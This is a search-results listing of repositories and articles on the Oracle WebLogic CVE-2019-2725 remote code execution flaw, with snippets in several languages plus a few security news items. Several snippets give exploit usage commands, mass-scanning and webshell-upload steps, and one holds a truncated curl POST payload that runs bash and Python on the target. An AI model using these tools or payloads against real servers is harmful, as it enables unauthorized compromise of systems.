37 matches found
Oracle-WLS-Weblogic-RCE
Oracle-WLS-Weblogic-RCE CVE-2019-2725 Script de test RCE pour Oracle WLS Weblogic CVE-2019-2725 est une vulnérabilité de désérialisation dans Oracle WebLogic Server. Cette vulnérabilité d'exécution de code à distance est exploitable à distance sans authentification. Ce script, qui vérifie la...
CVE-2019-2725
CVE-2019-2725 تجاوز نصائح مُبرمج بلغة بايثون 3، الحمولة هنا تعمل هذه الحمولة فقط في jdk6 exp الاستخدام: usage:exp.py 127.0.0.1:8080 whoami poc بعد تعديل ملف ip.txt، سيقوم البرنامج بالتحقق من العناوين في ip.txt، لاختبار ما إذا كانت الثغرة موجودة أم لا:...
CVE-2019-2725
В этом репозитории нет README...
CNTA-2019-0014xCVE-2019-2725
CNTA-2019-0014-CVE-2019-2725 Avertissement : cet outil est destiné uniquement à des fins d'apprentissage et de test de sécurité. Toute utilisation illégale est interdite. root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux Pour une analyse détaillée, veuillez vous référe...
Weblogic
weblogic CVE-2019-2725 CVE-2019-2729 POC Exécute des commandes et affiche le résultat Utilisation : Cible unique python3 weblogicgetwebshell.py http://url Cibles multiples, placez les URL en masse dans urllist.txt python3 weblogicgetwebshell.py all...
CVE-2019-2725
CVE-2019-2725...
Exploit-CVE-2019-2725
استغلال CVE-2019-2725 أداة استغلال بسيطة لـ CVE-2019-2725. مثال على الكود: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...
weblogic_2019_2725_wls_batch
weblogic20192725wlsbatch Exp pour la vulnérabilité CVE-2019-2725 de weblogic, ciblant le composant wls-wsat, avec trois exps pour une détection par lots. À l'époque, je n'y ai pas beaucoup réfléchi, il s'agissait simplement de vérifier l'existence de la vulnérabilité, donc la fonction du script e...
CVE-2019-2725-POC
CVE-2019-2725-POC CVE-2019-2725-POC قم بتعديل عنوان الـ webshell في الملف النصي إلى عنوان الـ webshell الخاص بك، ثم استخدم Burp Suite لإرسال طلب POST إلى الخادم الهدف، بحيث يكون محتوى حزمة الطلب هو المحتوى الموجود في الملف النصي...
cve-2019-2725
python3 실행 1. 대상 파일을 ip.txt에 저장합니다. 형식: 192.168.1.18:7001 2. 스크립트를 직접 실행합니다. 취약점이 존재하는 결과는 ok.txt 파일에 저장됩니다...
CVE-2019-2725
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: Web Services. Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle...
Exploit for Missing Authentication for Critical Function in Oracle Weblogic_Server
CNVD-C-2019-48814 WebLogic wls9-async反序列化远程命令执行漏洞 回显poc for weblogic Patch update: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html 漏洞复现： http://10.10.20.166:7001/async/AsyncResponseService curl -i http://10.10.20.166:7001/async/favicon.ico CNVD-C-2019-48814...
Microsoft Warns of Cryptomining Malware Campaign Targeting Linux Servers
A cloud threat actor group tracked as 8220 has updated its malware toolset to breach Linux servers with the goal of installing crypto miners as part of a long-running campaign. "The updates include the deployment of new versions of a crypto miner and an IRC bot," Microsoft Security Intelligence...
Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure
Summary Actions Critical Infrastructure Organizations Should Implement to Immediately Strengthen Their Cyber Posture. • Patch all systems. Prioritize patching known exploited vulnerabilities. • Implement multi-factor authentication. • Use antivirus software. • Develop internal contact lists and...
Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild
Cyber operatives affiliated with the Russian Foreign Intelligence Service SVR have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday. "SVR cyber operato...
Exploit for Injection in Oracle Agile_Plm
Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic R...
Exploit for Injection in Oracle Agile_Plm
CVE-2019-2725 CVE-2019-2725CNVD-C-2019-48814、WebLogic wls9-async 命令回显 10.3.6 12.1.3 ResultBaseExec.java 用于测试defineClass，将把恶意类从base64还原出来，执行代码，主要是比较方便（可用可不用）。 JDK7u21.java 会生成weblogic-2019-272512.1.3命令执行.txt中的xml，请使用jdk6编译。 CVE-2019-2725.py 检测命令是否会执行。...
Exploit for Injection in Oracle Agile_Plm
CVE-2019-2725-POC CVE-2019-2725-POC Modif...
myblog.boscolo.it Improper Access Control vulnerability
Open Bug Bounty ID: OBB-993038 Security Researcher 0xrocky Helped patch 1796 vulnerabilities Received 7 Coordinated Disclosure badges Received 5 recommendations , a holder of 7 badges for responsible and coordinated disclosure, found a security vulnerability affecting myblog.boscolo.it website an...